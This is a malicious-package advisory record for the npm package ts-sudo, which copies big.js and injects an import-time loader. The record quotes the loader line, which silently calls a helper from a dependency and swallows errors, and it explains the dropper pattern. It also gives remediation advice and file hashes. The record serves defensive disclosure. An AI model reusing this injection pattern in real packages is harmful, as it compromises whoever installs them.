MAL-2026-6323

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-sudo/MAL-2026-6323.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6323
Aliases
  • GHSA-9rpr-8v3f-2g5q
Published
2026-06-23T15:32:53Z
Modified
2026-06-23T17:16:24.239710002Z
Summary
Malicious code in ts-sudo (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (1a6e18b2d6bef04dd8377fac8d9b20e5545f1ec39875fdd308adf118b6f319d1)

The package publishes under the name ts-sudo but ships a verbatim copy of the big.js v7.0.1 source (big.js, big.mjs) along with big.js's description, repository URL (MikeMcl/big.js), and keyword set (bignumber, bigint). Inside the otherwise-legitimate big.js source, a loader has been injected at big.js:606: try { const doc = require("parket-helper"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The same injection is present in big.mjs. This block fires automatically on require('ts-sudo') / import 'ts-sudo', silently invoking parket-helper.from_str() — a package the consumer never chose to depend on. parket-helper is pulled into the install tree via the declared dependency "server-parket": "^3.8.1" in package.json:58. The wrapper is benign-looking arithmetic code; the harmful behavior is delegated to the opaque dependency, and errors are swallowed to hide failures from the caller. The combination of (a) name/contents impersonation of a well-known library, (b) injected import-time call into an unrelated helper, and (c) reliance on a suspiciously-named transitive to deliver the payload is a textbook dropper pattern.

Source: ghsa-malware (8235998221beb4f659577a4da5811961a4a2bf5524d0e7ec8912375a66ba78f4)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "sha256": "1a6e18b2d6bef04dd8377fac8d9b20e5545f1ec39875fdd308adf118b6f319d1",
            "id": "IN-MAL-2026-007270",
            "source": "amazon-inspector",
            "modified_time": "2026-06-23T16:11:26Z",
            "versions": [
                "1.0.0"
            ],
            "import_time": "2026-06-23T16:54:13.452654408Z"
        },
        {
            "sha256": "8235998221beb4f659577a4da5811961a4a2bf5524d0e7ec8912375a66ba78f4",
            "import_time": "2026-06-23T17:03:25.699259778Z",
            "source": "ghsa-malware",
            "modified_time": "2026-06-23T15:33:04Z",
            "id": "GHSA-9rpr-8v3f-2g5q",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ]
        }
    ]
}
References
Credits

Affected packages

npm / ts-sudo

Package

Name
ts-sudo
View open source insights on deps.dev
Purl
pkg:npm/ts-sudo

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-sudo/MAL-2026-6323.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "c10201be67a29b3e18d28e100d94cbbe6633e1ddf6edfd89ab5fe606a82aa446",
            "tlsh": "cfc2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "path": "big.js"
        },
        {
            "sha256": "5a85dc3edcc910656ef82e73aef5744ac30e278eeb21f4526ee95617695f5be2",
            "tlsh": "01213467c9a19da70af85b94bc6c03aaf1161b1f00a05c57b07b130c4f3345b2095b7d",
            "path": "package.json"
        }
    ]
}